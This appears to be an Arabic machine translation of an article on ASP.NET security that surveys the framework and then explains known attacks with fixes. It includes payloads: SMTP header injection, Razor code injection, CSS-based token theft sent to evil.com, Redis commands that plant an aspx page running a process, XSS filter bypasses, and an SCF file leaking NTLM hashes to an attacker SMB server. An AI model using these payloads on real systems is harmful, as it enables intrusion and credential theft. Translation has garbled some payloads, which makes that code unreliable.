
وكما يقول خبراء أمن المعلومات: "إنهم يكسرون كل شيء ، الجميع ودائماً". في نفس الوقت ، الهجمات على ASP.NET شيء نادر. لذلك ، من الغريب دائمًا معرفة شيء جديد حول هذا الأمر. تحت القصة ، قصة أليكسي موروزوف ، المتخصص في قسم أمن المعلومات في مجموعة Rambler ، حول نقاط القوة والضعف في هذه التكنولوجيا.
مقدمة
اليوم اكتسبت ASP شعبيتها كأداة لإنشاء مشاريع متوسطة وكبيرة. ومثل أي حل شائع ، فإن ASP.NET مهم أيضًا لباحثي الأمن الخارجي والمتسللين والمختبرين.
تتناول هذه المقالة مشكلات أمان ASP.NET المحتملة في الإصدارات المختلفة. ومع ذلك ، تجدر الإشارة إلى أن ASP أقل بكثير في عدد الحلول لنفس PHP ، وهذا يرجع إلى العديد من العوامل.
على عكس PHP ، عادة ما يكون استخدام ASP أكثر تعقيدًا وتكلفة (باستخدام الإصدار التجاري من IIS ، بيئة تطوير Visual Studio). حتى وقت قريب (ظهور ASP.NET Core) ، كان الاستخدام ممكنًا فقط في نظام Windows وعلى خادم ويب IIS. كما أن النشر أكثر تعقيدًا.
ASP (
صفحات الخادم النشطة ) هي تقنية Microsoft لإنشاء صفحات ديناميكية.
الوصف: تتيح هذه التقنية إمكانية إنشاء صفحات HTML بإدخالات بلغة Jscript (مشابهة جدًا لجافا سكريبت ، ولكن بالإضافة إلى البرامج النصية للعملاء ، فإنها تحتوي على عدد من الخيارات للعمل مع نظام التشغيل Windows وإدخالات الخادم على ASP)
مثال :
<% @ Language = "JScript" %><% Response.Write("Hello World!"); %>
ASP.NETكانت الجولة التالية من تطوير التكنولوجيا هي إنشاء نواة ASP استنادًا إلى إطار .Net. ونتيجة لذلك ، تلقت ASP جميع ميزات هذا الحل ، وهي:
- استخدام لغات برمجة مختلفة (C # و Visual Basic.NET و J # و JScript .NET) ؛
- زيادة السرعة مقارنة بتقنيات البرمجة النصية ، منذ المرة الأولى التي يتم فيها تجميع التعليمات البرمجية ووضعها في ذاكرة تخزين مؤقت خاصة ، ويتم تنفيذها لاحقًا فقط ، دون الحاجة إلى تحليل الوقت الذي يستغرق وقتًا طويلاً ، والتحسين ؛
- التعليمات البرمجية المترجمة التي تتيح لك التقاط الأخطاء بشكل أفضل ، بحيث تصبح عملية التصحيح نفسها أكثر كفاءة ؛
- القدرة على تخزين الصفحة في ذاكرة التخزين المؤقت ؛
- فصل العرض عن منطق الأعمال.
بناءً على حل ASP.NET ، تم إنشاء التقنيات التالية التي سنأخذها بعين الاعتبار.
ASP.NET Ajax هي واحدة من ملحقات ASP.NET التي تسمح لك باستخدام Ajax لتحديث جزء من المحتوى بشكل غير متزامن.
مثال :
<asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel>
نماذج ويب ASP.NET - تطور جديد لتقنية ASP ، حيث يوجد انتقال إلى نموذج موجه للمكونات لبناء التطبيقات.
الوصف:يعتمد نموذج نماذج الويب على ثلاثة مفاهيم أساسية: إعادة نشر الصفحة وحالة العرض وعناصر تحكم الخادم. كل طلب HTTP يتم إرساله إلى خادم الويب وتعيينه إلى وقت تشغيل ASP.NET يمر عبر عدة مراحل تأخذ فيها معالجة حدث إعادة النشر مركز الصدارة. حدث إعادة النشر هو الإجراء الرئيسي الذي يتوقع المستخدم تلقيه نتيجة لمعالجة طلبه. (مثل النقر على زر).
ببساطة ، هناك ضوابط تقليدية (ضوابط) ونموذج تطوير قائم على الحدث.
مثال :
العرض (ملف aspx) هو جانب العميل.
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html>
معالجة المنطق (ملف cs (في حالة استخدام C #)) - جانب الخادم.
using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } }
ASP.NET Web API هو ملحق آخر يسمح لك بإنشاء خدمات API لتطوير وتفاعل أكثر ملاءمة مع التطبيق.
مثال :
[HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); }
ASP.NET MVC - تحدث المرحلة التالية في تطوير التكنولوجيا بعد فصل منطق الأعمال إلى ثلاثة مكونات لنمط MVC (Model-View-Controller). يتم أيضًا تقديم محرك الشفرة ويصبح من الممكن تخصيص العناصر المدارة للموقع بشكل مستقل ، والتي كانت صعبة للغاية مع نماذج الويب.
المزايا :
- يتم تسهيل إدارة الهياكل المعقدة من خلال تقسيم التطبيق إلى نموذج وعرض تقديمي وجهاز تحكم ؛
- لا يتم استخدام نماذج عرض الدولة والخادم. وهذا يجعل منصة MVC مثالية للمطورين الذين يحتاجون إلى تحكم كامل في سلوك التطبيق ؛
- دائرة التحكم الرئيسية التي تتم فيها معالجة طلبات تطبيق الويب من خلال وحدة تحكم واحدة. يتيح لك هذا إنشاء تطبيقات تدعم بنية توجيه موسعة ؛
- مناسب تمامًا لتطبيقات الويب التي تدعمها فرق التطوير الكبيرة.
مثال :
عرض @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html>
نموذج using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } }
تحكم using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } }
ASP.NET Core - أصبح الاختراق التالي في ASP.NET عبر الأنظمة الأساسية ، مع دعم C # 7.0.
التكنولوجيا | نقاط القوة | نقاط الضعف |
---|
صفحات الخادم النشطة ، ASP | هدف مشترك | يفسر في وقت التشغيل ، ويدعم "رمز السباغيتي" |
نماذج ويب ASP.NET 1.0 / 1.1 | المترجمة ، واجهة المستخدم ، تدعم OOP | إنتاجية ثقيلة ، HTML معقد ، غير قابل للاختبار |
نماذج ويب ASP.NET 2.0 | - | - |
ASP.NET Ajax | تنفيذ اياكس | تعقيد غير معقول ، ونقص في المرونة |
نماذج ويب ASP.NET 3.5-4.0 | - | - |
ASP.NET MVC 1.0-5.0 | يتغير نموذج التطوير بالكامل. هناك مرونة | عدم وجود منصة مشتركة. غير قادر على ترجمة على الطاير |
ASP.NET Core | يظهر عبر منصة. المصدر المفتوح | - |
المصادقة في ASP.NET
هناك ثلاثة أنواع من المصادقة في ASP.NET MVC تختلف بشكل كبير عن بعضها البعض.
- لا مصادقة: هوية ASP.NET ولا يوجد نظام مصادقة مضمن ؛
- حسابات المستخدمين الفرديين: يتضمن المشروع بشكل افتراضي نظام هوية ASP.NET ، والذي يسمح لك بتفويض المستخدمين داخل التطبيق واستخدام خدمات خارجية مثل google و twitter وغيرها.
- الحسابات التنظيمية: مناسبة للمواقع وتطبيقات الويب للشركات والمؤسسات الفردية ؛
- مصادقة Windows: نظام مصادقة لشبكات إنترانت باستخدام حسابات Windows.

ASP.NET من حيث القرصنة
مثل أي تقنية ، تم اختراق ASP.NET. سنصف أدناه الدراسات الأمنية الأكثر شيوعًا ، بما في ذلك ليس فقط في ASP نفسها ، ولكن أيضًا بالاقتران مع البنية التحتية.
إحصائيات CVE
كما يتبين من الجدول ، إحصائيات الاكتشافات قليلة جدًا. وذلك لأن ASP.NET يتطلب معرفة جيدة لفحصه بالتفصيل. وكذلك الموارد الموجودة عليه أقل بكثير من نفس PHP.
استخدام بايت فارغ لتجاوز التفويضCVE: CVE-2011-3416
الوصف: من الممكن تجاوز الترخيص.
خوارزمية:- تسجيل حساب جديد باسم مستخدم موجود ؛
- عند التسجيل ، قم بإضافة أحرف فارغة بايت (admin٪ 0012sd) ؛
- وبالتالي ، سيتم تمرير التحقق من التفرد. سيتم إنشاء مستخدم "مشرف" جديد بنفس الدور ، ولكن بكلمة مرور جديدة.
مثال كود ضعيف :
If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “ .” + “ ”); } }
إثبات المفهوم :
الحل: تم إصلاح هذا الخطأ في .Net 3.5
تصحيح الأخطاء عن بُعدالوصف: نظرًا لأن ASP.NET هو تطبيق مترجم ، فإنه يحتوي على بعض ميزات التصحيح. تسمح لك Microsoft باستخدام مصحح أخطاء عن بُعد للعمل على إصدار تصحيح التطبيق.
إذا كان هذا المنفذ مفتوحًا على الإنترنت ومحميًا بكلمة مرور بسيطة أو لم يكن هناك كلمة مرور على الإطلاق ، فمن الممكن التقاط مصحح أخطاء. علاوة على ذلك ، سيسمح لك هذا بالتأثير على التطبيق في وضع DEBUG. بما في ذلك سحب كلمات المرور وتغيير المنطق وإجراء التتبع وما إلى ذلك.
إثبات المفهوم :
الحل: استخدم كلمة مرور قوية ولا تعرض الخدمة لتصحيح الأخطاء.
إدخال رأس SMTPالوصف: تحتاج إلى استدعاء مواصفات صغيرة لبروتوكول SMTP.
مثال على شكل حزمة رسائل SMTP بسيطة عادية:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32 Lunch today?
من الواضح أنه في حالة عدم التحقق من صحة القيمة التي تقع في رأس "إلى" ، فمن الممكن إعادة توجيه الرسالة إلى مرسل آخر. ولكن هذا سيكون بسيطًا جدًا وواضحًا ، لذا فإن التحقق يحدث بالفعل على مستوى .Net.
ومع ذلك ، إذا أدخلت رأسًا جديدًا للرد - عنوان للإجابات ، فإن العديد من النماذج مثل "كلمة المرور المنسية" غالبًا ما تأخذ عنوان الإرسال منه ، وبالتالي ، يكفي إدخال أحرف الإرجاع وسطر التغذية والحصول على عبء العمل.
... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ... : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
مثال كود ضعيف: MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m);
إثبات المفهوم :
الحل: لا تكتب كود معقد ، استخدم .net الجديد
RCE في عرض جزئيالوصف: هناك مفهومان مهمان في مصطلحات ASP.NET MVC:
طريقة العرض هي طريقة العرض التي يراها المستخدم. كما ذكرنا من قبل ، بفضل محركات الحلاقة أو نماذج الويب ، من الممكن تنفيذ التعليمات البرمجية من جانب الخادم.
عرض جزئي -
عرض جزئي . هذا جزء من محتويات العرض ، مأخوذ في ملف منفصل للراحة.
من الضروري أن يكون لديك بعض الحقول في العرض الجزئي ، والذي يتم تقديمه بتنسيق html ، والذي يمكن فيه إدخال حمل خطير.
تحميل مثال: الحصول على كلمة المرور للمستخدم الحالي
@((Account.Models.User)Session[“User”].Password
نتيجة للدخول إلى العرض ، سيتم تنفيذ هذا الرمز. حيث سيتم التعرف على التوجيهات كمحرك الشفرة. يوضح الشكل أدناه كيف يحدث هذا.
خوارزمية:- يقدم المستخدم طلبًا إلى وحدة التحكم ؛
- تحكم يجعل العرض ؛
- داخل العرض ، تتم مواجهة عرض جزئي ، وبعد ذلك يتم تقديم طلب مرة أخرى إلى وحدة التحكم ، المسؤولة عن عرض العرض الجزئي ؛
- يتم إرجاع العرض الجزئي النهائي إلى الأساسي ، والعرض الأساسي للمستخدم.
إثبات المفهوم :
مثال مبسط :
@{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view – @model string @{ Layout = null; } @Model Index view – @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); }
إثبات المفهوم :
PS محاولة إعادة إنتاج غير ناجحة.
حقن CSRF و CSSتنطوي نقاط الضعف هذه على التفاعل مع المستخدم.
CSRF (تزوير طلب المواقع المشتركة
) -
تزوير طلب المواقع المشتركة.
خوارزمية:- يأتي المستخدم إلى موقع القراصنة ؛
- يملأ حقول النموذج ؛
- يتم إرسال البيانات من النموذج إلى موقع آخر نيابة عن المستخدم وبدوره ؛
- وبالتالي ، قام المستخدم ، دون أن يدرك ذلك ، بتنفيذ بعض الإجراءات على مورد آخر.
للحماية من هذا النوع من الهجمات ، تم اختراع رموز CSRF ، كقاعدة ، هذه سلسلة تحتوي على سلسلة من الأحرف.
تم العثور على نقطة ضعف أن التحايل على الحماية ضد CSRF. كان من الضروري فقط استخدام سلسلة أقل بكثير من الأصلي كرمز.
رمز عادي <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
رمز ضعيف <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
الحمل لسرقة الرمز المميز من خلال CSS (وليس XSS):في الحالة التي لا يساعد فيها اقتطاع الرمز المميز ، يمكنك اللجوء إلى هجوم CSS-Injection ، الذي يسمح لك بسرقة الرمز المميز من الصفحة ورسمه على المورد الخاص بك. بفضل هذا ، يتم إعطاء رمز حقيقي للمستخدم ، ويتم تقديم الطلب الضروري على الموقع نيابة عنه.
تحميل المثال :
%0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;}
XXE في DocXالوصف: يستخدم ASP.NET ، مثل التقنيات الأخرى ، العديد من حلول الجهات الخارجية. في أحد هذه الحلول التي تتكامل مع ASP.NET ، تم العثور على ثغرة XXE (وحدات خارجية XML) ، والتي تتكون من خطأ محلل xml والقدرة على الاتصال بالكيانات الخارجية التي قد تحتوي على بيانات مهمة. اقرأ المزيد عن XXE على صفحات
OWASP .
في هذه الحالة ، يكون المكون مسؤولاً عن تحميل ملفات docx (Microsoft World) وتحليلها. نظرًا لأن أي مستند Office هو في الواقع مجموعة من ملفات xml ، يمكن أن يؤدي التحليل إلى هجوم XXE.
خوارزمية:- وثيقة مكتب غير معبأة ؛
- يتم إدخال الحمل ؛
- هي معبأة مرة أخرى مثل docx ؛
- يتم تحميله على الخادم للمعالجة ، حيث يتم استخدام مكون ضعيف.
إثبات المفهوم :
RCE عبر Redisالوصف: بالإضافة إلى المكونات المعرضة للخطر ، يمكن دمج قرصنة ASP.NET مع التقنيات الضعيفة. على سبيل المثال ، تُعرف ثغرة طويلة الأمد في نظام تخزين ذاكرة الوصول العشوائي Redis الذي يسمح بتنفيذ تعليمات برمجية عشوائية على جانب الخادم. بعد ذلك ، سيتم النظر في هذا الهجوم فيما يتعلق بـ ASP.
خوارزمية:- الاتصال بـ Redis. من المهم أن يتم تشغيله على نفس خادم خادم الويب ؛
- تنفيذ القائمة التالية واستخدام خادم الويب لعرض الصفحة الناتجة ، سيتم تنفيذ التعليمات البرمجية التعسفية. في هذه الحالة ، استدعاء الآلة الحاسبة:
config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save
إثبات المفهوم :
XSS ByPass FilterASP.NET لديه آلية خاصة به لتصفية البيانات من هجمات فئة XSS. عند محاولة نقل أحرف أو توقيعات محظورة ، يتم تشغيل الحماية التالية:

ومع ذلك ، هناك العديد من الطرق للتغلب على هذه الحماية. هنا بعض منهم:
- ٪ EF٪ BC٪ 9Cimg٪ 20src٪ 3Dxxx٪ 20onerror٪ تنبيه ثلاثي الأبعاد (1) ٪ EF٪ BC٪ 9E
- <- / script> تنبيه (1) ؛
- </ XSS / * - * / STYLE = xss: e / ** / xpression ( تنبيه ('XSS') )>
- تنبيه٪ uff1cscript٪ uff1e ('XSS') ؛٪ uff1c / script٪ uff1e
في الإصدارات الأخيرة ، لم تعد هذه الطرق تعمل ، ومع ذلك ، كما ذكرنا من قبل ، تم إنشاء تقنية ASP.NET بشكل أساسي للمشاريع الكبيرة والطويلة ، لذلك يمكن أن تتأثر العديد من الموارد بهذه الثغرة الأمنية.
ملف أوامر Shellالوصف: منذ وقت ليس ببعيد ، ظهرت ثغرة أمنية تتعلق بمتصفح Google Chrome ، كان جوهرها سرقة تجزئة NTLM للمستخدم.
خوارزمية:1) يتم تحضير ملف بامتداد scf والمحتويات التالية
[Shell] IconFile=\\***.**.*.***\icon
حيث بدلاً من العلامات النجمية ip هو عنوان خادم smb للمهاجم ؛
2) عندما يصل إلى جهاز الكمبيوتر الخاص بالمستخدم ، لا يتطلب هذا الملف حتى فتحه. يكفي أن ينتقل المستخدم ببساطة إلى نفس المجلد حيث يوجد هذا الملف. بمجرد حدوث ذلك ، سيتم إرسال حزمة تجزئة إلى خادم SMB ؛
3) وبالتالي ، يمكن أيضًا دمج اختراق البنية التحتية مع نقاط ضعف بسيطة مثل Open Redirect.
إثبات المفهوم :
شكرا لكم على اهتمامكم! شارك تجربتك واترك الأسئلة إلى Alexei Morozov (المعروف أيضًا باسم
SoolFaa ) في التعليقات على هذا المقال.